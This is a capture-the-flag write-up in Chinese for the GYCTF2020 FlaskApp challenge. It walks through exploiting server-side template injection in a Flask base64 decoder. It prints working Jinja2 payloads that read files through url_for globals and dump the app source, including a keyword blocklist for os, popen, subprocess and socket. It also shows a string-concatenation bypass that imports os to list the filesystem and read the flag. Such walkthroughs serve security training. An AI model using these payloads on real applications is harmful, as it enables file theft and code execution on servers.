[GYCTF2020]FlaskApp.md

---

首页长这样

/decode

/hint

---

先是扫目录，无果

编码页面无计可施，尝试在解码页面制造错误

尝试对123进行解码

跳转到了Werkzeug的调试页面

获取到了部分源码

大体上是flask的SSTI

{{config}}

结果 ： <Config {'ENV': 'production', 'DEBUG': True, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 's_e_c_r_e_t_k_e_y', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'BOOTSTRAP_USE_MINIFIED': True, 'BOOTSTRAP_CDN_FORCE_SSL': False, 'BOOTSTRAP_QUERYSTRING_REVVING': True, 'BOOTSTRAP_SERVE_LOCAL': False, 'BOOTSTRAP_LOCAL_SUBDOMAIN': None}>

emmm，secret_key看着没什么用，似乎没有什么有价值的信息

---

url_for可以使用，直接套出源码先

{{url_for.__globals__['__builtins__']['open']('app.py','r').read()}}

结果 ： from flask import Flask,render_template_string from flask import render_template,request,flash,redirect,url_for from flask_wtf import FlaskForm from wtforms import StringField, SubmitField from wtforms.validators import DataRequired from flask_bootstrap import Bootstrap import base64 app = Flask(__name__) app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y' bootstrap = Bootstrap(app) class NameForm(FlaskForm): text = StringField('BASE64加密',validators= [DataRequired()]) submit = SubmitField('提交') class NameForm1(FlaskForm): text = StringField('BASE64解密',validators= [DataRequired()]) submit = SubmitField('提交') def waf(str): black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"] for x in black_list : if x in str.lower() : return 1 @app.route('/hint',methods=['GET']) def hint(): txt = "失败乃成功之母！！" return render_template("hint.html",txt = txt) @app.route('/',methods=['POST','GET']) def encode(): if request.values.get('text') : text = request.values.get("text") text_decode = base64.b64encode(text.encode()) tmp = "结果 :{0}".format(str(text_decode.decode())) res = render_template_string(tmp) flash(tmp) return redirect(url_for('encode')) else : text = "" form = NameForm(text) return render_template("index.html",form = form ,method = "加密" ,img = "flask.png") @app.route('/decode',methods=['POST','GET']) def decode(): if request.values.get('text') : text = request.values.get("text") text_decode = base64.b64decode(text.encode()) tmp = "结果 ： {0}".format(text_decode.decode()) if waf(tmp) : flash("no no no !!") return redirect(url_for('decode')) res = render_template_string(tmp) flash( res ) return redirect(url_for('decode')) else : text = "" form = NameForm1(text) return render_template("index.html",form = form, method = "解密" , img = "flask1.png") @app.route('/<name>',methods=['GET']) def not_found(name): return render_template("404.html",name = name) if __name__ == '__main__': app.run(host="0.0.0.0", port=5000, debug=True)

def waf(str):
	black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"]
	for x in black_list:
		if x in str.lower():
			return 1

waf是直接的字符串匹配

直接拼接绕过

{{url_for.__globals__['__builtins__']['__im'+'port__']('o'+'s').listdir('/')}}

['bin', 'boot', 'dev', 'etc', 'home', 'lib', 'lib64', 'media', 'mnt', 'opt', 'proc', 'root', 'run', 'sbin', 'srv', 'sys', 'tmp', 'usr', 'var', 'this_is_the_flag.txt', '.dockerenv', 'app']

{{url_for.__globals__['__builtins__']['open']('/this_is_the_fl'+'ag.txt','r').read()}}

#Web #python #flask #SSTI #function #代码审计